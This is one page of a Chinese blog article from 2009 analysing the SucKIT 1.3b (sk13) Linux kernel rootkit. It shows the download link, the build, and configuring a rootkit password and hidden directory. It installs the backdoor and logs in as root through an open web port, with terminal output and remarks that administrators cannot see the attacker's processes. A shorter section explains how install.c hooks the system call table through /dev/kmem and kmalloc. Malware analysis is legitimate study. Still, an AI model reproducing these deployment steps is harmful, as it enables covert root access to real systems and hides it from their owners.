Linux后门系列--由浅入深sk13完全分析
|
来源:http://xsec.org 作者:wzt 发布时间:2009-05-04
|
|
1、编译 下载代码 http://www.xfocus.net/tools/200408/sk-1.3b.tar.gz 先配置一下参数: tthacker@wzt:~/sk# make skconfig rm -f include/config.h sk login inst make[1]: Entering directory `/root/sk/src' make[1]: Leaving directory `/root/sk/src' make[1]: Entering directory `/root/sk/src' gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c sha1.c gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c crypto.c In file included from ../include/extern.h:9, from ../include/stuff.h:18, from crypto.c:7: ../include/skstr.h:20: warning: conflicting types for built-in function `vsnprintf' ../include/skstr.h:22: warning: conflicting types for built-in function `vsprintf' ../include/skstr.h:25: warning: conflicting types for built-in function `vsscanf' gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -s zpass.c sha1.o crypto.o -o pass make[1]: Leaving directory `/root/sk/src' /dev/null
Please enter new rootkit password: -->这里输入rookit的登录密码 Again, just to be sure: OK, new password set. Home directory [/dev/sk13]: /dev/sk13 -->这里设置隐藏的目录 Magic file-hiding suffix [sk13]: sk13 -->这里设置文件隐藏的前缀
Configuration saved. >From now, _only_ this configuration will be used by generated binaries till you do skconfig again.
To (re)build all of stuff type 'make' -->现在我们可以开始编译了 tthacker@wzt:~/sk#make 这里省略N字,当我们看到下面的信息的时候,sk就编译好了 Okay, file 'inst' is complete, self-installing script. Just upload it somewhere, execute and you could log in using ./login binary.
Have fun!
生成了一个安装文件,是一个shell脚本,他会自动安装后门的。 我们直接执行他就可以安装了 tthacker@wzt:~/sk# ./inst Your home is /dev/sk13, go there and type ./sk to install us into memory. Have fun! 我们的home目录就在/dev/sk13了,以后我们的相关的程序就都放这里好了,隐藏的,管理员看不见 :) tthacker@wzt:~/sk# cd /dev/sk13 tthacker@wzt:/dev/sk13# ./sk RK_Init: idt=0xffc18000 嘿嘿,安装完毕,我们现在可以使用客户端登录了,客户端在编译sk的时候也一同生成了的,我们一起看看,很爽的,只要对方开放了任何一个TCP端口,我们就可以通过这个端口进入系统,权限是root哦。 tthacker@wzt:~/sk# ./login /dev/null use: ./login [hsditc] ...args -h Specifies ip/hostname of host where is running suckitd -s Specifies port where we should listen for incoming server' connection (if some firewalled etc), if not specified, we'll get some from os -d Specifies port of service we could use for authentication echo, telnet, ssh, httpd... is probably good choice -i Interval between request sends (in seconds) -t Time we will wait for server before giving up (in seconds) -c Connect timeout (in seconds)
tthacker@wzt:~/sk# ./login -h 192.168.1.1 -d /dev/null Listening to port 43544 password: Trying 192.168.1.1:80 ... -->嘿嘿,开了80我们也照进。 Trying...Et voila Server connected. Escape character is '^K' /dev/null [tthacker@localhost sk13]# -->yeah,我们进来了,我们在这个环境里执行的任何程序的进程,开放的任何端口,管理员都看不到的,不过千万别删除别搞破坏啊。
知其然,知其所以然,我们一起从代码级别仔细剖析这个超级强大的sk吧。
四、install.c执行流程
sk 的优点我们就介绍完了,那么到底它这么强悍的功能是如何实现的呢?最近我在分析sk2的代码,对它的hook原理还不是很清楚。于是就想看看sk13b的 hook方法和它有什么区别,没准还能多给我一些提示呢。于是翻出了sk13b代码分析了通,hook原理与sk2的真不相同。 如作者所说,sk13b把系统中一些不经常用的系统调用替换为kmalloc()的地址,然后给那个系统 调用传递kmalloc的参数,就可以在内核空间为sk分配空间了。为了学习我把分析过程写出来, 如果有什么不对的地方,欢迎斧正。
install()函数的功能是为kernel.c做初始化整备,并把sk装载到内存中。这也是sk hook原理最精华的部分了。 首先得到idt表的地址,然后得到int 0x80中断描述符的地址,通过读kmem把其int 0x80中断描述符的 内容到idt80结构中,然后提取出system_call在系统中的实际地址,在通过get_sct函数得到sys_call_table的 地址。用kmalloc的地址,替换oldolduname系统调用的入口地址,在利用kmalloc在内核为sk分配空间。 最后转向kernel.c继续执行。
共11页: 上一页 [1] 2 [3] [4] [5] [6] [7] [8] [9] [10] [11] 下一页
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|